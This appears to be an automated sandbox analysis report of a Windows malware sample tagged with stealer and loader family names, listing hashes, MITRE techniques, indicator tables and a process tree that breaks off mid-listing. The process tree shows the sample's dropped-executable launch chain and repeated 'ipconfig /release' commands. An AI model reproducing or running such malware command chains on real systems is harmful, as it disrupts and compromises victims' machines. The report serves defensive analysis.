170313731fee2f54abb8541b7f27e6d13d240aedb906a743b840029399fe42ac

Analysis

max time kernel
150s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/08/2026, 02:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 722KB
Sample260815-c5rh6axdpd
SHA256 170313731fee2f54abb8541b7f27e6d13d240aedb906a743b840029399fe42ac
MD5 0acfd5ea5c9fc3278191e28aaf802cca
SHA1 f1f82dfbbda9a5b0d54eed211ec7f959003668e5
SHA512 39998bb299922289ee51b415b05b33783d327f026a300089b3c714d84def265a3d004bf31878f78c3593334d53e2bab4757260641c34c931ae2fdfa9b22ad0f1
SSDEEP 12288:BflfAsiVGjSGecvXAflfAsiVGjSGecvX:pMcfcMcf
TLSH
T1AFF47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
1548	nhfzxspkicausmkf.exe
5232	nhfzxspkicausmkf.sys
1216	CreateProcess.exe
4576	mkhcauspki.exe
4180	CreateProcess.exe
2800	CreateProcess.exe
2340	i_mkhcauspki.exe
1028	zusmkeczus.sys
976	CreateProcess.exe
3036	urmjhfzxup.exe
1172	CreateProcess.exe
984	CreateProcess.exe
2844	i_urmjhfzxup.exe
1696	czurmkeczu.sys
2652	CreateProcess.exe
4512	omjhbzwurm.exe
1512	CreateProcess.exe
4860	CreateProcess.exe
5736	i_omjhbzwurm.exe
4172	jecwuomgez.sys
4796	CreateProcess.exe
1860	geywrojeto.exe
1732	CreateProcess.exe
3516	CreateProcess.exe
3268	i_geywrojeto.exe
3636	ljdbywtolj.sys
2252	CreateProcess.exe
3512	rligebwtrl.exe
3320	CreateProcess.exe
4632	CreateProcess.exe
4144	i_rligebwtrl.exe
1152	dywtoigdyv.sys
4748	CreateProcess.exe
5132	bvtnlgdywq.exe
3332	CreateProcess.exe
3328	CreateProcess.exe
244	i_bvtnlgdywq.exe
4240	vqolyvqnli.sys
2444	CreateProcess.exe
5576	nifdxvsqni.exe
1792	CreateProcess.exe
848	CreateProcess.exe
3464	i_nifdxvsqni.exe
1492	vtnlfdxvpn.sys
3156	CreateProcess.exe
3268	sqkicxnkfd.exe
4868	CreateProcess.exe
2016	CreateProcess.exe
1200	i_sqkicxnkfd.exe
1484	vpnkfdxvsn.sys
2140	CreateProcess.exe
1076	vsnkfaxspk.exe
1112	CreateProcess.exe
4160	CreateProcess.exe
3756	i_vsnkfaxspk.exe
4872	mkecwurpkh.sys
1756	CreateProcess.exe
3232	pkhczuspkh.exe
3040	CreateProcess.exe
2312	CreateProcess.exe
3112	i_pkhczuspkh.exe
4472	mhfzxrpmhf.sys
2032	CreateProcess.exe
1348	cwupmgezwr.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3388_1946417001\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3388_1946417001\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3388_1296296255\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3388_2089390459\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3388_1474505262\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3388_1296296255\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3388_2089390459\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3388_2089390459\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3388_2089390459\office_endpoints_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifdxvsqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urmjhfzxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwupmgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwupmhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omjhbzwurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rligebwtrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkhczuspkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebwqolgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cavsqniday.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwupmhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfzxspkicausmkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkhcauspki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkhcauspki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbzwurmgez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cavsqniday.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xsqnifaxsq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhezxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_urmjhfzxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwtoljebwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwqolgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	davtnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnkfaxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnkfaxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwupmgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_khcausmhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywrojeto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvtnlgdywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvtnlgdywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifdxvsqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkicxnkfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkhczuspkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwtoljebwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbzwurmgez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkicxnkfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_davtnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xsqnifaxsq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	khcausmhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omjhbzwurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywrojeto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rligebwtrl.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5992	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5004	ipconfig.exe
4228	ipconfig.exe
4840	ipconfig.exe
4816	ipconfig.exe
556	ipconfig.exe
5336	ipconfig.exe
1804	ipconfig.exe
4380	ipconfig.exe
4148	ipconfig.exe
1140	ipconfig.exe
4748	ipconfig.exe
5604	ipconfig.exe
4332	ipconfig.exe
5880	ipconfig.exe
928	ipconfig.exe
1072	ipconfig.exe
5952	ipconfig.exe
3444	ipconfig.exe
4336	ipconfig.exe
1940	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134312352031722405"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-189034102-168398478-1159367937-1000\{40D4B3E1-F286-4002-83A0-9B083C6C0C45}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
1548	nhfzxspkicausmkf.exe
1548	nhfzxspkicausmkf.exe
1548	nhfzxspkicausmkf.exe
1548	nhfzxspkicausmkf.exe
1548	nhfzxspkicausmkf.exe
1548	nhfzxspkicausmkf.exe
1548	nhfzxspkicausmkf.exe
1548	nhfzxspkicausmkf.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2340	i_mkhcauspki.exe
Token: SeDebugPrivilege	2844	i_urmjhfzxup.exe
Token: SeDebugPrivilege	5736	i_omjhbzwurm.exe
Token: SeDebugPrivilege	3268	i_geywrojeto.exe
Token: SeDebugPrivilege	4144	i_rligebwtrl.exe
Token: SeDebugPrivilege	244	i_bvtnlgdywq.exe
Token: SeDebugPrivilege	3464	i_nifdxvsqni.exe
Token: SeDebugPrivilege	1200	i_sqkicxnkfd.exe
Token: SeDebugPrivilege	3756	i_vsnkfaxspk.exe
Token: SeDebugPrivilege	3112	i_pkhczuspkh.exe
Token: SeDebugPrivilege	4816	i_cwupmgezwr.exe
Token: SeDebugPrivilege	2728	i_hbzwurmgez.exe
Token: SeDebugPrivilege	1500	i_bwtoljebwt.exe
Token: SeDebugPrivilege	4496	i_ebwqolgeyw.exe
Token: SeDebugPrivilege	3428	i_davtnlfdxv.exe
Token: SeDebugPrivilege	4688	i_cavsqniday.exe
Token: SeDebugPrivilege	1084	i_xsqnifaxsq.exe
Token: SeDebugPrivilege	3096	i_khcausmhfz.exe
Token: SeDebugPrivilege	4608	i_ecwupmhfzx.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3388	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 1548	4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 4664 wrote to memory of 1728	4664	2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 1728 wrote to memory of 3388	1728	iexplore.exe	91
PID 3388 wrote to memory of 1404	3388	msedge.exe	92
PID 3388 wrote to memory of 2576	3388	msedge.exe	93
PID 3388 wrote to memory of 5992	3388	msedge.exe	94
PID 3388 wrote to memory of 2576	3388	msedge.exe	93
PID 3388 wrote to memory of 2576	3388	msedge.exe	93
PID 3388 wrote to memory of 5832	3388	msedge.exe	95
PID 3388 wrote to memory of 5832	3388	msedge.exe	95
PID 3388 wrote to memory of 1140	3388	msedge.exe	97
PID 3388 wrote to memory of 1140	3388	msedge.exe	97
PID 3388 wrote to memory of 1140	3388	msedge.exe	97
PID 3388 wrote to memory of 5988	3388	msedge.exe	98
PID 3388 wrote to memory of 5988	3388	msedge.exe	98
PID 3388 wrote to memory of 5988	3388	msedge.exe	98
PID 3388 wrote to memory of 824	3388	msedge.exe	99
PID 3388 wrote to memory of 4552	3388	msedge.exe	100
PID 3388 wrote to memory of 824	3388	msedge.exe	99
PID 3388 wrote to memory of 824	3388	msedge.exe	99
PID 3388 wrote to memory of 4552	3388	msedge.exe	100
PID 3388 wrote to memory of 4552	3388	msedge.exe	100
PID 3388 wrote to memory of 4240	3388	msedge.exe	101
PID 3388 wrote to memory of 4240	3388	msedge.exe	101
PID 3388 wrote to memory of 5728	3388	msedge.exe	105
PID 3388 wrote to memory of 5116	3388	msedge.exe	106
PID 3388 wrote to memory of 5728	3388	msedge.exe	105
PID 3388 wrote to memory of 5116	3388	msedge.exe	106
PID 1548 wrote to memory of 1216	1548	nhfzxspkicausmkf.exe	107
PID 4576 wrote to memory of 4180	4576	mkhcauspki.exe	111
PID 3388 wrote to memory of 6124	3388	msedge.exe	112
PID 3388 wrote to memory of 4512	3388	msedge.exe	115
PID 3388 wrote to memory of 4512	3388	msedge.exe	115
PID 3388 wrote to memory of 5104	3388	msedge.exe	117
PID 3388 wrote to memory of 5104	3388	msedge.exe	117
PID 1548 wrote to memory of 2800	1548	nhfzxspkicausmkf.exe	119
PID 1548 wrote to memory of 976	1548	nhfzxspkicausmkf.exe	123
PID 3036 wrote to memory of 1172	3036	urmjhfzxup.exe	125
PID 1548 wrote to memory of 984	1548	nhfzxspkicausmkf.exe	128
PID 1548 wrote to memory of 2652	1548	nhfzxspkicausmkf.exe	132
PID 4512 wrote to memory of 1512	4512	omjhbzwurm.exe	134
PID 1548 wrote to memory of 4860	1548	nhfzxspkicausmkf.exe	137
PID 1548 wrote to memory of 4796	1548	nhfzxspkicausmkf.exe	142
PID 1860 wrote to memory of 1732	1860	geywrojeto.exe	144
PID 1548 wrote to memory of 3516	1548	nhfzxspkicausmkf.exe	147
PID 3388 wrote to memory of 3624	3388	msedge.exe	149
PID 3388 wrote to memory of 4572	3388	msedge.exe	150
PID 3388 wrote to memory of 2488	3388	msedge.exe	151
PID 1548 wrote to memory of 2252	1548	nhfzxspkicausmkf.exe	154
PID 3512 wrote to memory of 3320	3512	rligebwtrl.exe	156
PID 1548 wrote to memory of 4632	1548	nhfzxspkicausmkf.exe	159
PID 1548 wrote to memory of 4748	1548	nhfzxspkicausmkf.exe	163
PID 5132 wrote to memory of 3332	5132	bvtnlgdywq.exe	165
PID 1548 wrote to memory of 3328	1548	nhfzxspkicausmkf.exe	168
PID 1548 wrote to memory of 2444	1548	nhfzxspkicausmkf.exe	172
PID 5576 wrote to memory of 1792	5576	nifdxvsqni.exe	174
PID 1548 wrote to memory of 848	1548	nhfzxspkicausmkf.exe	177
PID 1548 wrote to memory of 3156	1548	nhfzxspkicausmkf.exe	181
PID 3268 wrote to memory of 4868	3268	sqkicxnkfd.exe	183
PID 1548 wrote to memory of 2016	1548	nhfzxspkicausmkf.exe	186
PID 3388 wrote to memory of 5704	3388	msedge.exe	188
PID 3388 wrote to memory of 5704	3388	msedge.exe	188
PID 1548 wrote to memory of 2140	1548	nhfzxspkicausmkf.exe	194
PID 1076 wrote to memory of 1112	1076	vsnkfaxspk.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-14_0acfd5ea5c9fc3278191e28aaf802cca_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Temp\nhfzxspkicausmkf.exe
  C:\Temp\nhfzxspkicausmkf.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mkhcauspki.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1216
  - - C:\Temp\mkhcauspki.exe
      C:\Temp\mkhcauspki.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4576
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4180
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5952
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mkhcauspki.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2800
  - - C:\Temp\i_mkhcauspki.exe
      C:\Temp\i_mkhcauspki.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2340
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\urmjhfzxup.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:976
  - - C:\Temp\urmjhfzxup.exe
      C:\Temp\urmjhfzxup.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3036
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1172
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3444
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_urmjhfzxup.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:984
